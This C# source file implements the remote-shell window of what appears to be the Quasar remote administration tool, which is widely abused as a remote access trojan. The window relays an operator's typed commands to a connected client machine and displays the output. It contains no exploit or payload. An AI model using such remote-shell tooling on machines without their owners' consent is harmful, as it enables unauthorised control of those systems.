using System; using System.Collections.Generic; using System.Drawing; using System.Windows.Forms; using Quasar.Common.Messages; using Quasar.Server.Helper; using Quasar.Server.Messages; using Quasar.Server.Networking; namespace Quasar.Server.Forms { public partial class FrmRemoteShell : Form { /// /// The client which can be used for the remote shell. /// private readonly Client _connectClient; /// /// The message handler for handling the communication with the client. /// public readonly RemoteShellHandler RemoteShellHandler; /// /// Holds the opened remote shell form for each client. /// private static readonly Dictionary OpenedForms = new Dictionary(); /// /// Creates a new remote shell form for the client or gets the current open form, if there exists one already. /// /// The client used for the remote shell form. /// /// Returns a new remote shell form for the client if there is none currently open, otherwise creates a new one. /// public static FrmRemoteShell CreateNewOrGetExisting(Client client) { if (OpenedForms.ContainsKey(client)) { return OpenedForms[client]; } FrmRemoteShell f = new FrmRemoteShell(client); f.Disposed += (sender, args) => OpenedForms.Remove(client); OpenedForms.Add(client, f); return f; } /// /// Initializes a new instance of the class using the given client. /// /// The client used for the remote shell form. public FrmRemoteShell(Client client) { _connectClient = client; RemoteShellHandler = new RemoteShellHandler(client); RegisterMessageHandler(); InitializeComponent(); txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine); } /// /// Registers the remote shell message handler for client communication. /// private void RegisterMessageHandler() { _connectClient.ClientState += ClientDisconnected; RemoteShellHandler.ProgressChanged += CommandOutput; RemoteShellHandler.CommandError += CommandError; MessageHandler.Register(RemoteShellHandler); } /// /// Unregisters the remote shell message handler. /// private void UnregisterMessageHandler() { MessageHandler.Unregister(RemoteShellHandler); RemoteShellHandler.ProgressChanged -= CommandOutput; RemoteShellHandler.CommandError -= CommandError; _connectClient.ClientState -= ClientDisconnected; } /// /// Called whenever the remote shell writes to stdout. /// /// The message processor which raised the event. /// The output to write. private void CommandOutput(object sender, string output) { txtConsoleOutput.SelectionColor = Color.WhiteSmoke; txtConsoleOutput.AppendText(output); } /// /// Called whenever the remote shell writes to stderr. /// /// The message processor which raised the event. /// The error output to write. private void CommandError(object sender, string output) { txtConsoleOutput.SelectionColor = Color.Red; txtConsoleOutput.AppendText(output); } /// /// Called whenever a client disconnects. /// /// The client which disconnected. /// True if the client connected, false if disconnected private void ClientDisconnected(Client client, bool connected) { if (!connected) { this.Invoke((MethodInvoker)this.Close); } } private void FrmRemoteShell_Load(object sender, EventArgs e) { this.DoubleBuffered = true; this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient); } private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); if (_connectClient.Connected) RemoteShellHandler.SendCommand("exit"); } private void txtConsoleOutput_TextChanged(object sender, EventArgs e) { NativeMethodsHelper.ScrollToBottom(txtConsoleOutput.Handle); } private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(txtConsoleInput.Text.Trim())) { string input = txtConsoleInput.Text.TrimStart(' ', ' ').TrimEnd(' ', ' '); txtConsoleInput.Text = string.Empty; // Split based on the space key. string[] splitSpaceInput = input.Split(' '); // Split based on the null key. string[] splitNullInput = input.Split(' '); // We have an exit command. if (input == "exit" || ((splitSpaceInput.Length > 0) && splitSpaceInput[0] == "exit") || ((splitNullInput.Length > 0) && splitNullInput[0] == "exit")) { this.Close(); } else { switch (input) { case "cls": txtConsoleOutput.Text = string.Empty; break; default: RemoteShellHandler.SendCommand(input); break; } } e.Handled = true; e.SuppressKeyPress = true; } } private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e) { if (e.KeyChar != (char) 2) { txtConsoleInput.Text += e.KeyChar.ToString(); txtConsoleInput.Focus(); txtConsoleInput.SelectionStart = txtConsoleOutput.TextLength; txtConsoleInput.ScrollToCaret(); } } } }